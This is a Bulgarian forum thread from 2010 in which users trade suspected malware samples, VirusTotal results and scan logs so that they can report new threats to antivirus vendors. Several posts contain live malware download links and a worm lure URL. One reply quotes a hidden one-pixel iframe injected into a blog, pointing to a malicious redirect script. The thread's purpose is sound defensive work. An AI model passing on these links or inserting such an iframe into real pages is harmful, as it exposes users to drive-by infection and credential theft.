Добре дошли!

Добре дошли в нашите форуми, пълни с полезна информация. Имате проблем с компютъра или телефона си? Публикувайте нова тема и ще намерите решение на всичките си проблеми. Общувайте свободно и открийте безброй нови приятели.

Моля, регистрирайте се за да публикувате тема и да получите пълен достъп до всички функции.

Подпомагане на АВ програмите с дефиниции,откриване на нови заплахи - част 11

Последователи

Нова тема

8 ноември 201015 г.

По Skype един приятел ми праща линк " foto http://fraicebook.net/profile.php", който при влизане в сайта сваля един ехе файл.
http://www.skatafka.com/download.php?file=a07181a0bb9eec0fe738934abf538867
ето и virustotal-a
Само 1/ 43 (2.3%).

Това ми е познато пратих го на един познат и той идиота клъвна въдицата. Това е глупост дори няма си направя труда да го пращам до аваст, който иска да праща такова нещо не може ме излъже да го стартирам.

За съжаление аваст вече не ме допуска въобще до скатафка и не ми се променят настройки за един сайт.

Ще си свалям от Линукса.

Публикувано изображение

Редактирано 8 ноември 201015 г. от Burkoff (преглед на промените)

Отговори 1,4k
Прегледи 85,2k
Създадено 15 г.15 г.
Последен отговор 15 г.15 г.

Потребители с най-много отговори

lost in 161 поста
nikssi 116 поста
asdfag 116 поста
Burkoff 82 поста

Най-популярни публикации

B-boy/StyLe/

10 декември 201015 г.

Незнам какви 100% гоните, но аз мисля малко да се оттегля че днес един китайски рууткит ми скри шапката...финален ефект чист компютър и осакатен Windows...екстра нали...един загубен ден...поне спасих
B-boy/StyLe/

14 октомври 201015 г.

4x samples - Trojan.Winlock (благодарение на IcoTonev).URL_Trojan.Winlock.txt
asdfag

13 ноември 201015 г.

Отговор от Avira: Отговор от Kaspersky: Тествах Trend Micro. Отказах се да правя клип ... една заплаха не хвана. (аа..хвана eicar )

Публикувани изображения

10 ноември 201015 г.

hxxp://www.skatafka.com/download.php?file=be9904b2cb16ffee24c17c1574e47de5

http://www.virustotal.com/file-scan/report.html?id=9a4e65cd543b29d1f7fbad375686410fdc75212d8f76891c3f631484be0b8266-1289363574

Result:

2 /43 (4.7%)

10 ноември 201015 г.

hxxp://www.skatafka.com/download.php?file=be9904b2cb16ffee24c17c1574e47de5

http://www.virustota...8266-1289363574

Result:

2 /43 (4.7%)

10 ноември 201015 г.

hxxp://www.skatafka.com/download.php?file=be9904b2cb16ffee24c17c1574e47de5

http://www.virustotal.com/file-scan/report.html?id=9a4e65cd543b29d1f7fbad375686410fdc75212d8f76891c3f631484be0b8266-1289363574

Result:

2 /43 (4.7%)

При стартиране Авира го проспа,изпратен им е:

Изпратен на Eset:

Редактирано 10 ноември 201015 г. от Гост (преглед на промените)

10 ноември 201015 г.

Това ми е познато пратих го на един познат и той идиота клъвна въдицата. Това е глупост дори няма си направя труда да го пращам до аваст, който иска да праща такова нещо не може ме излъже да го стартирам.

За съжаление аваст вече не ме допуска въобще до скатафка и не ми се променят настройки за един сайт.

Ще си свалям от Линукса.

А замислял ли си се, че той не ти го е изпратил с умисъл. Самия червей се саморазпраща. Често самите жертви незнаят, че изпращат такива неща на абонатите си... :rolleyes:

10 ноември 201015 г.

А замислял ли си се, че той не ти го е изпратил с умисъл. Самия червей се саморазпраща. Често самите жертви незнаят, че изпращат такива неща на абонатите си...

Аз бях го свалил от тук преди около месец, казах че това ми е познато, защото се трансформира често.

Трябва да си кръгал идиот, ако получиш подобно съобщение foto :cool: http://fraicebook.net/profile.php и да го свалиш и най вече стартираш.

10 ноември 201015 г.

tsqqsf.zip изтеглен от hxxp://www.duote.com/soft/28749.html съдържа ли заплаха? Реагират засега 10 програми http://www.virustotal.com/file-scan/report.html?id=3a4927d06dd99adb3194797eef663a2f74e1a4d338771ebf0fb35fa88f00a044-1289387296

10 ноември 201015 г.

Здравейте.

Всеки ден си влизам с Операта в блога ( tankobg.blog.com) и си пиша из него без проблеми. Днес по случайност влязох там с IE. И получих следното предупреждение:

Заразата истинска ли е?

Тъй като това си ми е лична страница, посещавана от доста мои познати трябва ли да ги предупредя да внимават с нея?

Налага ли се да предприемам някакви мерки - обаждане до доставчика или нещо подобно?

Редактирано 10 ноември 201015 г. от TankoBG (преглед на промените)

10 ноември 201015 г.

Здравейте.

Всеки ден си влизам с Операта в блога ( tankobg.blog.com) и си пиша из него без проблеми. Днес по случайност влязох там с IE. И получих следното предупреждение:

Заразата истинска ли е?

Тъй като това си ми е лична страница, посещавана от доста мои познати трябва ли да ги предупредя да внимават с нея?

Налага ли се да предприемам някакви мерки - обаждане до доставчика или нещо подобно?

Както виждаш Аваст е блокирал друг адрес не блога ти.

Какво общо има тука доставчика не мога да разбера ?

Ще ви свети ли какво ще прави...

Редактирано 10 ноември 201015 г. от Burkoff (преглед на промените)

10 ноември 201015 г.

Както виждаш Аваст е блокирал друг адрес не блога ти.

Да ама виж какво има в блога:

<iframe src="http://www.ieudhysta51.com/tds/in.cgi?default"

width="1" height="1" hspace="0" vspace="0" frameborder="no" scrolling="no"></iframe> [/code]

Идва от рекламките в блога явно

Aдреса е неактивен в момента...иначе,весело

Публикувано изображение

Ето ти и лога от Wepawet

Edit: Айде по темата:

http://mcaf.ee/389ae

Публикувано изображение

Редактирано 10 ноември 201015 г. от Гост (преглед на промените)

10 ноември 201015 г.

hxxp://www.skatafka.com/download.php?file=be9904b2cb16ffee24c17c1574e47de5

http://www.virustotal.com/file-scan/report.html?id=9a4e65cd543b29d1f7fbad375686410fdc75212d8f76891c3f631484be0b8266-1289363574

Result:

2 /43 (4.7%)

Ако някой го е пращал значи е добавен.

10 ноември 201015 г.

Ако някой го е пращал значи е добавен.

Ми днес бях свободен и изпратих доста файлове по лабораторийте -ама и без това Касперски го блокна при стартиране !

10 ноември 201015 г.

Edit: Айде по темата:

http://mcaf.ee/389ae

Публикувано изображение

10 ноември 201015 г.

От Фейсбук се е****т яко....

http://www.skatafka.com/download.php?file=5ffe6a99428bdeb6a34287db25e87b2c

Пуснах го да видя какво ще ми свали....

11 ноември 201015 г.

От тази тема

VirusTotal (3/43)

Премахнал съм файловете без PE структура...всичко бе засечено от MBAM:

Malwarebytes' Anti-Malware 1.46
www.malwarebytes.org

Database version: 5092

Windows 6.1.7600
Internet Explorer 8.0.7600.16385

11.11.2010 a. 02:14:00
mbam-log-2010-11-11 (02-14-00).txt

Scan type: Quick scan
Objects scanned: 14
Time elapsed: 3 second(s)

Memory Processes Infected: 0
Memory Modules Infected: 0
Registry Keys Infected: 0
Registry Values Infected: 0
Registry Data Items Infected: 0
Folders Infected: 0
Files Infected: 14

Memory Processes Infected:
(No malicious items detected)

Memory Modules Infected:
(No malicious items detected)

Registry Keys Infected:
(No malicious items detected)

Registry Values Infected:
(No malicious items detected)

Registry Data Items Infected:
(No malicious items detected)

Folders Infected:
(No malicious items detected)

Files Infected:
C:\Users\B-boy\Desktop\Qoobox\ahma.exe (Spyware.Passwords.XGen) -> Quarantined and deleted successfully.
C:\Users\B-boy\Desktop\Qoobox\bikai.exe (Spyware.Passwords.XGen) -> Delete on reboot.
C:\Users\B-boy\Desktop\Qoobox\elydz.exe (Spyware.Passwords.XGen) -> Delete on reboot.
C:\Users\B-boy\Desktop\Qoobox\fyirs.exe (Spyware.Passwords.XGen) -> Delete on reboot.
C:\Users\B-boy\Desktop\Qoobox\iryf.exe (Spyware.Passwords.XGen) -> Delete on reboot.
C:\Users\B-boy\Desktop\Qoobox\izuvl.exe (Spyware.Passwords.XGen) -> Delete on reboot.
C:\Users\B-boy\Desktop\Qoobox\mawi.exe (Spyware.Passwords.XGen) -> Delete on reboot.
C:\Users\B-boy\Desktop\Qoobox\ofaw.exe (Spyware.Passwords.XGen) -> Delete on reboot.
C:\Users\B-boy\Desktop\Qoobox\rafy.exe (Spyware.Passwords.XGen) -> Delete on reboot.
C:\Users\B-boy\Desktop\Qoobox\wynae.exe (Spyware.Passwords.XGen) -> Delete on reboot.
C:\Users\B-boy\Desktop\Qoobox\yndoxo.exe (Spyware.Passwords.XGen) -> Delete on reboot.
C:\Users\B-boy\Desktop\Qoobox\ywda.exe (Spyware.Passwords.XGen) -> Delete on reboot.
C:\Users\B-boy\Desktop\Qoobox\zoas.exe (Spyware.Passwords.XGen) -> Delete on reboot.
C:\Users\B-boy\Desktop\Qoobox\zora.exe (Spyware.Passwords.XGen) -> Delete on reboot.

Публикувано изображение

URL.txt

11 ноември 201015 г.

Аваст на самия линк ли реагира? Защото мълчи на изтегления файл - той изглежда не е заплаха за Win. Резултатите са https://www.virustotal.com/file-scan/report.html?id=c83c29972285a2fae75cf1f1bb5f625e7fd18c3fc195d30ea678747bee2fc183-1289456795 http://virscan.org/report/3b3a9fc9c0e95574daad62dae5436fb3.html Symantec EP 11 при мен не класифицира вредоносен код и изтеглянето на файлчето бе безпроблемно.

Редактирано 11 ноември 201015 г. от Totalen (преглед на промените)

11 ноември 201015 г.

Аваст на самия линк ли реагира?

Да. 2/2

11 ноември 201015 г.

От Фейсбук се е****т яко....
http://www.skatafka.com/download.php?file=5ffe6a99428bdeb6a34287db25e87b2c
Пуснах го да видя какво ще ми свали....

http://www.virustotal.com/file-scan/report.html?id=4bbd73da40627d9c68680adb9f7607c72bb14555161f9cf7e8e0b473b0bf1160-1289459571 http://virscan.org/report/87cae54612928adb909a279e93d8c9ca.html Symantec EP 11 отново мълчи

11 ноември 201015 г.

Symantec EP 11 отново мълчи

Е как нали са лидери ? :>

Ако някой го е пращал значи е добавен.

Ми днес бях свободен и изпратих доста файлове по лабораторийте -ама и без това Касперски го блокна при стартиране

Публикувано изображение

Редактирано 11 ноември 201015 г. от Burkoff (преглед на промените)

11 ноември 201015 г.

http://www.virustota...1160-1289459571 http://virscan.org/r...9e93d8c9ca.html Symantec EP 11 отново мълчи

Абре човеко в архива са и 2та файла-джава аплета и троянеца,защо ги качваш наново не знам-скрийншотовете са от вирустотал ако не си обърнал внимание(:

Хах виж каква бъркотия става така: 13 /43 (30.2%)

11 ноември 201015 г.

Абре човеко в архива са и 2та файла-джава аплета и троянеца,защо ги качваш наново

Мда не е желателно да се качва архив с 2 или повече файла във вирустотал.

11 ноември 201015 г.

От тази тема

VirusTotal (3/43)

Премахнал съм файловете без PE структура...всичко бе засечено от MBAM:

11 ноември 201015 г.

Абре човеко в архива са и 2та файла-джава аплета и троянеца,защо ги качваш наново не знам-скрийншотовете са от вирустотал ако не си обърнал внимание(:

Хах виж каква бъркотия става така: 13 /43 (30.2%)

Правя го за да видим и сравним резултатите към момента. Разархивирах файла и поразгледах NortonAV.exe - защо Symantec трябва да не мълчи? А защо няма инфекция при мен?

11 ноември 201015 г.

Тия прозорци си ги наредил, като гърненца... :ass: Не можа ли само един да оставиш и да споменеш, че всичко го засича по един и същ начин.

Редактирано 11 ноември 201015 г. от Burkoff (преглед на промените)

11 ноември 201015 г.

Правя го за да видим и сравним резултатите към момента. Разархивирах файла и поразгледах NortonAV.exe - защо Symantec трябва да не мълчи? А защо няма инфекция при мен?

:ass:

Грешка правиш-и 2та файла се засичат от Касперски,а на линка който си дал показва само Java-та(:,качвай ги по един за да не става объркване.Не знам защо няма инфекция при теб(:

Тази тема е заключена за нови отговори.

Последователи

Няма регистрирани потребители разглеждащи тази страница.

Подкрепи съществуването на форума - направи дарение
25%

Дарени 252.69 EUR от нужните 1,000.00 EUR
- +17

Получавайте известие, когато има важна промяна или новина свързана с форума.

Абонирайте се

Добре дошли!

Подпомагане на АВ програмите с дефиниции,откриване на нови заплахи - част 11

Featured Replies

Потребители с най-много отговори

Популярни дни

Най-популярни публикации

B-boy/StyLe/

B-boy/StyLe/

asdfag

Публикувани изображения

Разглеждащи това в момента 0

Дарение

Бюлетин

Профил

Навигация

Търсене

Конфигуриране на push известия в браузъра

Chrome (Android)

Chrome (Desktop)

Safari (iOS 16.4+)

Safari (macOS)

Edge (Android)

Edge (Desktop)

Firefox (Android)

Firefox (Desktop)